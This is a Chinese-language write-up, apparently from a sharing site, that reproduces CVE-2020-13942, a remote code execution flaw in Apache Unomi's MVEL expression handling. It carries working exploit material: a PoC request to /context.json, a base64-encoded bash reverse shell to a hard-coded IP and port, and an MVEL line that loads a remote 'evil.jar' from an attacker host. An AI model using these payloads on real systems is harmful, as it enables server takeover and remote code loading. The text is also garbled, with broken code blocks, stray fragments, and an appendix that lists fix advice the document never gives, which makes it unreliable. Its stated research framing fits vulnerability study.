# Apache Unomi 遠程代碼執行漏洞CVE-2020-13942復現分析
## 漏洞概述
**CVE-2020-13942**是Apache Unomi在2020年披露的一個高危遠程代碼執行漏洞。該漏洞源于Unomi對MVEL表達式的不安全處理,允許攻擊者通過構造惡意請求在服務器端執行任意代碼,影響范圍包括:
- Apache Unomi 1.5.1及之前版本
- 使用默認配置或未正確配置MVEL過濾的實例
## 環境搭建
### 準備條件
- 漏洞環境:Apache Unomi 1.5.1
- 測試工具:Burp Suite/Curl
- 操作系統:Linux/Windows(推薦Docker部署)
```bash
# 使用Docker快速搭建漏洞環境
docker run -p 8181:8181 -d apache/unomi:1.5.1
訪問http://localhost:8181
應看到Unomi歡迎頁面,或通過API端點檢查版本:
curl -X POST http://localhost:8181/context.json
漏洞存在于Unomi的REST API端點,特別是處理MVEL表達式的接口:
POST /context.json
POST /eventcollector
通過Burp Suite構造以下PoC請求:
POST /context.json HTTP/1.1
Host: target:8181
Content-Type: application/json
{
"filters": [
{
"id": "exploit",
"filters": [
{
"condition": {
"parameterValues": {
"test": "mvel:Runtime.getRuntime().exec(\"touch /tmp/pwned\")"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "exploit"
}
成功執行后,在服務器上檢查命令是否執行:
docker exec -it <container_id> ls /tmp
# 應看到pwned文件被創建
漏洞核心在于Unomi對用戶輸入的MVEL表達式未做充分過濾:
mvel:
前綴注入表達式Runtime.exec()
)關鍵危險代碼片段:
// org.apache.unomi.plugins.baseplugin.conditions.PropertyCondition.java
public boolean eval(...) {
String mvelExpression = ...;
MVEL.eval(mvelExpression, context); // 危險的無限制執行
}
mvel:
關鍵字"test": "mvel:Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}\")"
通過MVEL加載字節碼可實現持久化攻擊:
mvel:new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://attacker/evil.jar")}).loadClass("Exploit").newInstance()
免責聲明:本文僅用于安全研究目的,未經授權測試他人系統屬于違法行為。所有實驗應在授權環境或本地測試環境中進行。 “`
該文檔包含: 1. 完整的漏洞復現流程 2. 技術原理深度分析 3. 多種利用方式示例 4. 修復建議和安全研究聲明 5. 代碼片段和命令行操作示例 6. 標準化Markdown格式(標題、代碼塊、列表等)
可根據實際測試環境調整IP/端口等參數,建議配合截圖補充可視化證據。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。